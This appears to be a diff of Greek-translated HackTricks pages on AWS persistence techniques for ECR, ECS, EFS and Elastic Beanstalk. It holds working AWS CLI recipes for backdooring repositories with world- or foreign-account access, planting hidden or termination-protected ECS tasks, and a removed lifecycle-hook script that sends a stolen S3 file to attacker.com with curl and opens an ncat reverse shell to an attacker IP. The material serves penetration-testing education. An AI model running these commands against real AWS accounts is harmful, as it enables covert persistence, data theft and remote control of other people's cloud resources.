||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Κρυφή Εικόνα Docker με Κακόβουλο Κώδικα
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε **να ανεβάσει μια εικόνα Docker που περιέχει κακόβουλο κώδικα** σε ένα αποθετήριο ECR και να τη χρησιμοποιήσει για να διατηρήσει την επιμονή στον στόχο λογαριασμό AWS. Ο επιτιθέμενος θα μπορούσε στη συνέχεια να αναπτύξει την κακόβουλη εικόνα σε διάφορες υπηρεσίες εντός του λογαριασμού, όπως το Amazon ECS ή EKS, με διακριτικό τρόπο.
|
||||
|
||||
### Πολιτική Αποθετηρίου
|
||||
|
||||
Προσθέστε μια πολιτική σε ένα μόνο αποθετήριο που να σας παραχωρεί (ή σε όλους) πρόσβαση σε ένα αποθετήριο:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι το ECR απαιτεί οι χρήστες να έχουν **άδεια** για να κάνουν κλήσεις στην **`ecr:GetAuthorizationToken`** API μέσω μιας πολιτικής IAM **πριν μπορέσουν να αυθεντικοποιηθούν** σε ένα μητρώο και να σπρώξουν ή να τραβήξουν οποιαδήποτε εικόνα από οποιοδήποτε αποθετήριο Amazon ECR.
|
||||
|
||||
### Πολιτική Μητρώου & Διασυνοριακή Αναπαραγωγή
|
||||
|
||||
Είναι δυνατόν να αναπαράγετε αυτόματα ένα μητρώο σε έναν εξωτερικό λογαριασμό ρυθμίζοντας τη διασυνοριακή αναπαραγωγή, όπου πρέπει να **υποδείξετε τον εξωτερικό λογαριασμό** στον οποίο θέλετε να αναπαραγάγετε το μητρώο.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αρχικά, πρέπει να δώσετε στον εξωτερικό λογαριασμό πρόσβαση στο μητρώο με μια **πολιτική μητρώου** όπως:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Στη συνέχεια, εφαρμόστε τη ρύθμιση αναπαραγωγής:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Κρυμμένη Docker Image με Malicious Code
|
||||
|
||||
Ένας attacker θα μπορούσε να **upload a Docker image containing malicious code** σε ένα ECR repository και να το χρησιμοποιήσει για να διατηρήσει persistence στον στοχευμένο AWS account. Στη συνέχεια, ο attacker θα μπορούσε να αναπτύξει το malicious image σε διάφορες υπηρεσίες εντός του account, όπως Amazon ECS ή EKS, με stealthy τρόπο.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Προσθέστε μια πολιτική σε ένα μεμονωμένο repository που παραχωρεί σε εσάς (ή σε όλους) πρόσβαση στο repository:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι το ECR απαιτεί οι χρήστες να έχουν **άδεια** να πραγματοποιούν κλήσεις στο API **`ecr:GetAuthorizationToken`** μέσω μιας IAM policy **προτού να μπορέσουν να πιστοποιηθούν** σε ένα registry και να κάνουν push ή pull οποιεσδήποτε εικόνες από οποιοδήποτε Amazon ECR repository.
|
||||
|
||||
### Πολιτική μητρώου & Cross-account Replication
|
||||
|
||||
Είναι δυνατόν να αναπαραγάγετε αυτόματα ένα registry σε έναν εξωτερικό λογαριασμό ρυθμίζοντας cross-account replication, όπου χρειάζεται να **δηλώσετε τον εξωτερικό λογαριασμό** στον οποίο θέλετε να αναπαραγάγετε το registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Πρώτα, πρέπει να δώσετε στον εξωτερικό λογαριασμό πρόσβαση στο registry με μια **registry policy** όπως:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Στη συνέχεια, εφαρμόστε τη διαμόρφωση replication:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (prefix backdoor για μελλοντικά repos)
|
||||
|
||||
Καταχρησιμοποιήστε τα ECR Repository Creation Templates για να τοποθετήσετε αυτόματα backdoor σε οποιοδήποτε repository που το ECR δημιουργεί αυτόματα κάτω από ένα ελεγχόμενο prefix (για παράδειγμα μέσω Pull-Through Cache ή Create-on-Push). Αυτό παρέχει μόνιμη μη εξουσιοδοτημένη πρόσβαση σε μελλοντικά repos χωρίς να αγγίζονται τα υπάρχοντα.
|
||||
|
||||
- Απαιτούμενα perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
|
||||
- Επίπτωση: Οποιοδήποτε νέο repository δημιουργείται υπό το στοχευμένο prefix κληρονομεί αυτόματα μια attacker-controlled repository policy (π.χ. cross-account read/write), tag mutability, και scanning defaults.
|
||||
|
||||
<details>
|
||||
<summary>Τοποθέτηση backdoor σε μελλοντικά PTC-created repos κάτω από επιλεγμένο prefix</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,93 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Για περισσότερες πληροφορίες, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Κρυφή Περιοδική Εργασία ECS
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμή
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια κρυφή περιοδική εργασία ECS χρησιμοποιώντας το Amazon EventBridge για να **προγραμματίσει την εκτέλεση μιας κακόβουλης εργασίας περιοδικά**. Αυτή η εργασία μπορεί να εκτελεί αναγνώριση, να εξάγει δεδομένα ή να διατηρεί την επιμονή στον λογαριασμό AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να προσθέσει ένα **κρυφό backdoor container** σε μια υπάρχουσα ECS task definition που εκτελείται παράλληλα με νόμιμα containers. Το backdoor container μπορεί να χρησιμοποιηθεί για επιμονή και εκτέλεση κακόβουλων δραστηριοτήτων.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια **undocumented ECS service** που εκτελεί μια κακόβουλη εργασία. Ρυθμίζοντας τον επιθυμητό αριθμό εργασιών στο ελάχιστο και απενεργοποιώντας την καταγραφή, γίνεται πιο δύσκολο για τους διαχειριστές να παρατηρήσουν την κακόβουλη υπηρεσία.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,152 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Κρυφή Περιοδική ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Να δοκιμαστεί
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια κρυφή περιοδική ECS task χρησιμοποιώντας το Amazon EventBridge για να προγραμματίσει περιοδικά την εκτέλεση μιας κακόβουλης task. Αυτή η task μπορεί να πραγματοποιήσει reconnaissance, να exfiltrate δεδομένα ή να διατηρήσει persistence στον AWS account.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container σε υπάρχουσα ECS task definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμή
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να προσθέσει ένα **stealthy backdoor container** σε μια υπάρχουσα ECS task definition που τρέχει παράλληλα με νόμιμα containers. Το backdoor container μπορεί να χρησιμοποιηθεί για persistence και για την εκτέλεση κακόβουλων δραστηριοτήτων.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Μη τεκμηριωμένη ECS service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμή
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια **μη τεκμηριωμένη ECS service** που εκτελεί ένα κακόβουλο task. Θέτοντας τον επιθυμητό αριθμό των tasks στο ελάχιστο και απενεργοποιώντας το logging, γίνεται πιο δύσκολο για τους διαχειριστές να εντοπίσουν την κακόβουλη service.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence μέσω Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Κακοχρησιμοποιήστε το ecs:UpdateTaskProtection για να αποτρέψετε τα service tasks από το να τερματιστούν λόγω scale‑in events και rolling deployments. Με τη συνεχή επέκταση της προστασίας, ένας επιτιθέμενος μπορεί να κρατήσει ένα μακροχρόνιο task σε λειτουργία (για C2 ή συλλογή δεδομένων) ακόμη και αν οι αμυνόμενοι μειώσουν το desiredCount ή ωθήσουν νέες task revisions.
|
||||
|
||||
Βήματα για αναπαραγωγή στην περιοχή us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Επίπτωση: Ένα προστατευμένο task παραμένει RUNNING παρότι desiredCount=0 και εμποδίζει τις αντικαταστάσεις κατά τις νέες αναπτύξεις, επιτρέποντας stealthy long‑lived persistence εντός της υπηρεσίας ECS.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Τροποποίηση Πολιτικής Πόρου / Ομάδες Ασφαλείας
|
||||
|
||||
Τροποποιώντας την **πολιτική πόρου και/ή τις ομάδες ασφαλείας** μπορείτε να προσπαθήσετε να διατηρήσετε την πρόσβασή σας στο σύστημα αρχείων.
|
||||
|
||||
### Δημιουργία Σημείου Πρόσβασης
|
||||
|
||||
Μπορείτε να **δημιουργήσετε ένα σημείο πρόσβασης** (με δικαιώματα root στο `/`) προσβάσιμο από μια υπηρεσία όπου έχετε εφαρμόσει **άλλη επιμονή** για να διατηρήσετε προνομιακή πρόσβαση στο σύστημα αρχείων.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Τροποποίηση Resource Policy / Security Groups
|
||||
|
||||
Τροποποιώντας το **resource policy** και/ή τις **security groups**, μπορείτε να προσπαθήσετε να διατηρήσετε την πρόσβασή σας στο σύστημα αρχείων.
|
||||
|
||||
### Δημιουργία Access Point
|
||||
|
||||
Μπορείτε να **create an access point** (με root access στο `/`) προσβάσιμο από μια υπηρεσία όπου έχετε υλοποιήσει **other persistence**, ώστε να διατηρήσετε προνομιούχα πρόσβαση στο σύστημα αρχείων.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-75
@@ -1,75 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
Για να διατηρηθεί η επιμονή μέσα στον λογαριασμό AWS, θα μπορούσε να εισαχθεί κάποιο **μηχανισμός επιμονής μέσα στην instance** (cron job, ssh key...) ώστε ο επιτιθέμενος να μπορεί να έχει πρόσβαση και να κλέψει τα **credentials IAM ρόλου από την υπηρεσία μεταδεδομένων**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να προσθέσει backdoor στον κώδικα μέσα στο S3 repo ώστε να εκτελεί πάντα το backdoor του και τον αναμενόμενο κώδικα.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Αντί να αλλάξει τον κώδικα στην πραγματική έκδοση, ο επιτιθέμενος θα μπορούσε να αναπτύξει μια νέα backdoored έκδοση της εφαρμογής.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Το Elastic Beanstalk παρέχει lifecycle hooks που σας επιτρέπουν να εκτελείτε προσαρμοσμένα scripts κατά τη διάρκεια της προμήθειας και τερματισμού της instance. Ένας επιτιθέμενος θα μπορούσε να **ρυθμίσει ένα lifecycle hook για να εκτελεί περιοδικά ένα script που εξάγει δεδομένα ή διατηρεί πρόσβαση στον λογαριασμό AWS**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
Για να διατηρήσει persistence μέσα στον AWS λογαριασμό, μπορεί να εισαχθεί κάποιος **persistence mechanism μέσα στο instance** (cron job, ssh key...) έτσι ώστε ο attacker να μπορεί να αποκτήσει πρόσβαση και να κλέψει IAM role **credentials από το metadata service**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
Ένας attacker θα μπορούσε να backdoor τον κώδικα μέσα στο S3 repo ώστε να εκτελεί πάντα το backdoor του και τον αναμενόμενο κώδικα.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Αντί να αλλάξει τον κώδικα στην υπάρχουσα version, ο attacker θα μπορούσε να αναπτύξει μια νέα backdoored version της εφαρμογής.
|
